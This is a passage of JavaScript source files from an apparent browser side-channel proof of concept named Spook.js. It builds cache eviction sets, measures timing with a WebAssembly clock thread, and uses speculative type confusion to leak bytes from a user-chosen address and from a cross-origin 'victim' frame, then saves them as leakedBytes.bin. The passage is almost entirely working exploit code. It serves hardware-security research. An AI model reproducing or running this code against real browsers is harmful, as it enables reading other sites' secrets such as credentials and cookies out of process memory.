22 | } else {
23 | return function(){}
24 | }
25 | }
26 |
27 | return {
28 | enabled: enabled,
29 | isEnabled: isEnabled,
30 |
31 | debugPrint: exportNative("DebugPrint", 1),
32 | };
33 | })();
34 |
35 | function log(msg) {
36 | Natives.debugPrint(msg);
37 | console.log(msg);
38 |
39 | const element = document.getElementById("log");
40 |
41 | const scrolledToBottom = element.scrollHeight - element.clientHeight <= element.scrollTop + 10;
42 | element.append(msg + "\n");
43 | if (scrolledToBottom) {
44 | element.scrollTop = element.scrollHeight - element.clientHeight;
45 | }
46 | }
47 |
48 | async function loadModule(path) {
49 | const response = await fetch(path);
50 | const buffer = await response.arrayBuffer();
51 | const module = new WebAssembly.Module(buffer);
52 |
53 | return module;
54 | }
55 |
56 | async function startWorker() {
57 | const BM = 128*1024*1024; // Eviction buffer
58 | const WP = 64*1024; // A WebAssembly page has a constant size of 64KB
59 | const SZ = BM/WP; // 128 hardcoded value in wasm
60 |
61 | const memory = new WebAssembly.Memory({initial: SZ, maximum: SZ, shared: true});
62 |
63 | const buffer = new Uint32Array(memory);
64 | for (let i = 1; i < buffer.length; i++) {
65 | buffer[i] = buffer[i] + (i * 511);
66 | }
67 |
68 | const clockModule = await loadModule('js/evsets/clock.wasm');
69 | const accessModule = await loadModule('js/evsets/poc.wasm');
70 | await sleep(1000);
71 |
72 | log("[*] Starting worker!");
73 |
74 | let leakedBytes = [];
75 | const workerThread = new Worker('js/main-worker.js');
76 | let clockThread = undefined;
77 |
78 | function respond(message, result) {
79 | workerThread.postMessage({id: message.id, result: result});
80 | }
81 |
82 | workerThread.onmessage = async function handle(event) {
83 | let message = event.data;
84 |
85 | switch (message.type) {
86 | case 'log':
87 | log(message.message);
88 | break;
89 |
90 | case 'error':
91 | // Recoverable errors
92 | log(`[!] ERROR: ${message.message}`);
93 | if (clockThread !== undefined) {
94 | log(`Stopping timer...`);
95 | clockThread.terminate();
96 | }
97 | workerThread.terminate();
98 | startWorker();
99 | break;
100 |
101 | case 'exception':
102 | // Unrecoverable errors
103 | log(`[!] ERROR: ${message.message}`);
104 | break;
105 |
106 | case 'end': {
107 | let typedLeakedBytes = new Uint8Array(leakedBytes);
108 | log(typedLeakedBytes);
109 | let file = new Blob([typedLeakedBytes], {type: "octet/stream"});
110 | let a = document.createElement("a");
111 | let url = URL.createObjectURL(file);
112 |
113 | a.href = url;
114 | a.download = "leakedBytes.bin";
115 | document.body.appendChild(a);
116 | a.click();
117 |
118 | break;
119 | }
120 |
121 | case 'getAddress': {
122 | const begin = Number(window.prompt("Enter address to leak from:"));
123 | const size = Number(window.prompt("Enter number of bytes to leak:"));
124 | respond(message, {leakBegin: begin, leakSize: size});
125 | break;
126 | }
127 |
128 | case 'leakage': {
129 | log(message.payload);
130 | leakedBytes = leakedBytes.concat(message.payload);
131 | respond(message, null);
132 | break;
133 | }
134 |
135 | case 'getAccessModule': {
136 | respond(message, {module: accessModule, memory: memory});
137 | break;
138 | }
139 |
140 | case 'stopTimer': {
141 | log(`Stopping timer...`);
142 | if (clockThread !== undefined) {clockThread.terminate();}
143 | clockThread = undefined;
144 | await sleep(100);
145 | respond(message, null);
146 | break;
147 | }
148 |
149 | case 'startTimer':
150 | log(`Starting timer...`);
151 | if (clockThread === undefined) {
152 | clockThread = new Worker('js/evsets/wasmWorker.js');
153 | clockThread.postMessage({"module": clockModule, "memory": memory});
154 |
155 | const buffer = new Uint32Array(memory.buffer);
156 | const startTick = Atomics.load(buffer, 64);
157 | let endTick = startTick;
158 | let iterations = 0;
159 |
160 | const timer = setInterval(function(){
161 | endTick = Atomics.load(buffer, 64);
162 | iterations++;
163 | if (startTick !== endTick) {
164 | clearInterval(timer);
165 | respond(message, null);
166 | }
167 | if (iterations >= 100) {
168 | log('[!] Clock failed to start...');
169 | clearInterval(timer);
170 | }
171 | }, 10);
172 | }
173 | break;
174 |
175 | case 'getCrossFrameAddress': {
176 | const frame = document.getElementById("frame");
177 | frame.src = "frame.html";
178 | window.onmessage = function(event) {
179 | switch (event.data.type) {
180 | case 'log': {
181 | log(`[*] Victim: ${event.data.message}`);
182 | break;
183 | }
184 |
185 | case 'array_ptr': {
186 | respond(message, event.data.address);
187 | break;
188 | }
189 | }
190 | };
191 | break;
192 | }
193 |
194 | default: {
195 | log("[!] Unhandled message (Main): " + JSON.stringify(message));
196 | // window.close();
197 | }
198 | }
199 | };
200 | }
201 | startWorker();
202 |
--------------------------------------------------------------------------------
/static/js/spook.js:
--------------------------------------------------------------------------------
1 | (function(exported){
2 |
3 | class SpookJs {
4 | constructor(objects, target) {
5 | this.objects = objects;
6 | this.target = target;
7 | }
8 |
9 | setAddress(address) {
10 | const upper = Number((address >> 32n) & 0xFFFFFFFFn);
11 | const lower = Number((address >> 0n) & 0xFFFFFFFFn);
12 |
13 | const {index} = this.target;
14 |
15 | if ((upper & 0x01) === 0x00) {
16 | // Bit-33 is unset
17 | this.objects[index].f7 = lower >> 1;
18 | this.objects[index].f8 = upper >> 1;
19 | this.objects[index].f9 = 0;
20 | spectreArgs[3] = (lower & 0x01);
21 | } else {
22 | // Bit-33 is set
23 | // Cause overflow in f9 using index to set bit-33
24 | this.objects[index].f7 = lower >> 1;
25 | this.objects[index].f8 = upper >> 1;
26 | this.objects[index].f9 = 0xFFFFFFFE >> 1;
27 | spectreArgs[3] = (lower & 0x01) + 0x02;
28 | }
29 | }
30 |
31 | leak(address) {
32 | this.setAddress(address);
33 | return leakByte3(this.target.set.evictor, this.target.index);
34 | }
35 |
36 | static create(objects, options) {
37 | return create_spook_js(objects, options);
38 | }
39 | }
40 |
41 | async function create_spook_js(objects, options) {
42 | const {module, memory} = await getAccessModules();
43 | const buffer = new Uint32Array(memory.buffer);
44 |
45 | // Avoid allocate-on-write optimizations
46 | buffer.fill(1);
47 | buffer.fill(0);
48 |
49 | await startTimer();
50 |
51 | // Build eviction sets
52 | self.importScripts('evsets/main.js');
53 |
54 | let sets = await build_evset({
55 | offset: options.offset ?? 63,
56 | module: module,
57 | memory: memory,
58 | });
59 |
60 | sets = sets.map((set) => {
61 | let offsets = set.map(element => element.offset);
62 | offsets = shuffle(offsets);
63 | offsets = offsets.slice(0, EVICTION_SET_MAX_SIZE);
64 |
65 | return {
66 | evictor: new EvictionListL3(buffer, offsets),
67 | set: set,
68 | tag: set[0].tag,
69 | };
70 | });
71 |
72 | log(`Eviction set count: ${sets.length}`);
73 | log(`Eviction set length: ${sets[0].set.length}`);
74 |
75 | // Select candidate eviction set / object pairs
76 | const candidates = await find_candidates(
77 | objects,
78 | sets,
79 | buffer,
80 | options,
81 | );
82 |
83 | log(`Candidate count: ${candidates.length}`);
84 |
85 | // Check each candidate and verify we can perform type confusion
86 | const target = select_candidate(
87 | objects,
88 | candidates,
89 | options,
90 | );
91 |
92 | // Failed to create channel.
93 | // Typically because our eviction set wasn't able to evict
94 | // the object properly.
95 | if (target === null) {
96 | return null;
97 | }
98 |
99 | console.log(target);
100 |
101 | return new SpookJs(objects, target);
102 | }
103 |
104 | const find_candidates = preventOptimization(async function(objects, sets, buffer, options){
105 | // We increment f0 and f5 when trying to find our eviction set
106 | // Set to zero to avoid any overflows and conversion to double
107 | for (let i = 64; i < 128; i++) {
108 | objects[i].f0 = 0;
109 | objects[i].f5 = 0;
110 | }
111 |
112 | const L3_HIT_THRESHOLD = 30;
113 | const L3_MISS_THRESHOLD = 30;
114 |
115 | function median(values) {
116 | return values.sort((a, b) => a - b)[values.length >> 1];
117 | }
118 |
119 | // Otherwise, we need to use a side channel to determine which
120 | // object and set pair work.
121 | const candidates = [];
122 | const sample_count = 5;
123 |
124 | // Preallocate to avoid noise from allocation.
125 | const hit = new Array(sample_count).fill(0);
126 | const hit2 = new Array(sample_count).fill(0);
127 | const miss = new Array(sample_count).fill(0);
128 |
129 | function f0(object) {
130 | const start = Atomics.load(buffer, 64);
131 | object.f0++;
132 | const end = Atomics.load(buffer, 64);
133 |
134 | return end - start;
135 | }
136 |
137 | function f5(object) {
138 | const start = Atomics.load(buffer, 64);
139 | object.f5++;
140 | const end = Atomics.load(buffer, 64);
141 |
142 | return end - start;
143 | }
144 |
145 | for (let i = 0; i < 10000; i++) {
146 | f0(objects[75 + (i % 20)]);
147 | f5(objects[75 + (i % 20)]);
148 | }
149 |
150 | // Some of the earlier objects may not be compacted properly
151 | const start = options.index ?? 70;
152 |
153 | // Save some time by skipping the last few objects.
154 | // Typically the target object has index 70-95
155 | const end = options.index ?? 100;
156 |
157 | const display = Math.floor(sets.length / 10);
158 | for (let set_index = 0; set_index < sets.length; set_index++) {
159 | const set = sets[set_index];
160 |
161 | if (set_index % display === 0) {
162 | log(`Generating candidates ${Math.round(set_index/sets.length*100)}%`);
163 | }
164 |
165 | if (options.offset && set.evictor.offset !== options.offset) {
166 | continue;
167 | }
168 |
169 | for (let index = start; index <= end; index++) {
170 | const object = objects[index];
171 | const evictor = set.evictor;
172 |
173 | for (let sample = 0; sample < sample_count; sample++) {
174 | evictor.traverse();
175 | miss[sample] = f0(object);
176 | hit[sample] = f0(object);
177 | }
178 |
179 | for (let sample = 0; sample < sample_count; sample++) {
180 | evictor.traverse();
181 | hit2[sample] = f5(object);
182 | }
183 |
184 | if (
185 | median(hit) < L3_HIT_THRESHOLD &&
186 | //median(hit2) < L3_HIT_THRESHOLD &&
187 | median(miss) > L3_MISS_THRESHOLD
188 | ) {
189 | candidates.push({object, set, index});
190 | }
191 | }
192 | }
193 |
194 | return candidates;
195 | });
196 |
197 | function select_candidate(objects, candidates, options) {
198 | // Arbitrarily chosen test value, just needs to be a single byte.
199 | const TEST_VALUE = 0x5A;
200 |
201 | // Setup each of our objects for the type confusion.
202 | // Set each length to a reasonable size, too long and a different
203 | // branch is taken in the array indexing code that breaks the
204 | // attack.
205 | for (let i = 64; i < 128; i++) {
206 | objects[i].f0 = 64; // Refer to gadget for documentation.
207 | objects[i].f3 = TEST_VALUE >> 1; // Length in bytes
208 | objects[i].f4 = 0 >> 1; // - continued
209 | objects[i].f5 = TEST_VALUE >> 1; // Length in elements
210 | objects[i].f6 = 0 >> 1; // - continued
211 | }
212 |
213 | // Perform type confusion but use the 'array.length' property.
214 | // This verifies that our channel works without requiring a known
215 | // address with a known value.
216 | //
217 | // f5 above is set to an arbitrary value and we try to access it
218 | // with `object.length`. Architecturally `object.length` accesses
219 | // the length property of object, which doesn't exist, and would
220 | // return undefined. Speculatively, object is interpreted as an
221 | // array so some offset into the memory (where f5 happens to be)
222 | // is read as the length.
223 | //
224 | for (let i = 0; i < candidates.length; i++) {
225 | const candidate = candidates[i];
226 | const {set, index} = candidate;
227 |
228 | const value = mode(10, () => leakByte2(set.evictor, null, index));
229 |
230 | log(`Checking candidate ${i + 1}/${candidates.length}`)
231 |
232 | if (value === TEST_VALUE) {
233 | if (options.verify) {
234 | const spook = new SpookJs(objects, candidate);
235 | const value = mode(100, () => spook.leak(options.verify.address));
236 |
237 | if (value !== options.verify.value) {
238 | continue;
239 | }
240 | }
241 |
242 | return candidate;
243 | }
244 | }
245 |
246 | return null;
247 | }
248 |
249 | function mode(count, f) {
250 | const a = [];
251 |
252 | for (let i = 0; i < count; i++) {
253 | a.push(f());
254 | }
255 |
256 | a.sort((x, y) => x - y);
257 |
258 | var bestStreak = 1;
259 | var bestElem = a[0];
260 | var currentStreak = 1;
261 | var currentElem = a[0];
262 |
263 | for (let i = 1; i < a.length; i++) {
264 | if (a[i-1] !== a[i]) {
265 | if (currentStreak > bestStreak) {
266 | bestStreak = currentStreak;
267 | bestElem = currentElem;
268 | }
269 |
270 | currentStreak = 0;
271 | currentElem = a[i];
272 | }
273 |
274 | currentStreak++;
275 | }
276 |
277 | return currentStreak > bestStreak ? currentElem : bestElem;
278 | }
279 |
280 | exported.SpookJs = SpookJs;
281 |
282 | })(typeof(window) !== 'undefined' ? window : self);
--------------------------------------------------------------------------------
/static/js/util.js:
--------------------------------------------------------------------------------
1 | function mode(count, f) {
2 | const a = [];
3 |
4 | for (let i = 0; i < count; i++) {
5 | a.push(f());
6 | }
7 |
8 | a.sort((x, y) => x - y);
9 |
10 | var bestStreak = 1;
11 | var bestElem = a[0];
12 | var currentStreak = 1;
13 | var currentElem = a[0];
14 |
15 | for (let i = 1; i < a.length; i++) {
16 | if (a[i - 1] !== a[i]) {
17 | if (currentStreak > bestStreak) {
18 | bestStreak = currentStreak;
19 | bestElem = currentElem;
20 | }
21 |
22 | currentStreak = 0;
23 | currentElem = a[i];
24 | }
25 |
26 | currentStreak++;
27 | }
28 |
29 | return currentStreak > bestStreak ? currentElem : bestElem;
30 | }
--------------------------------------------------------------------------------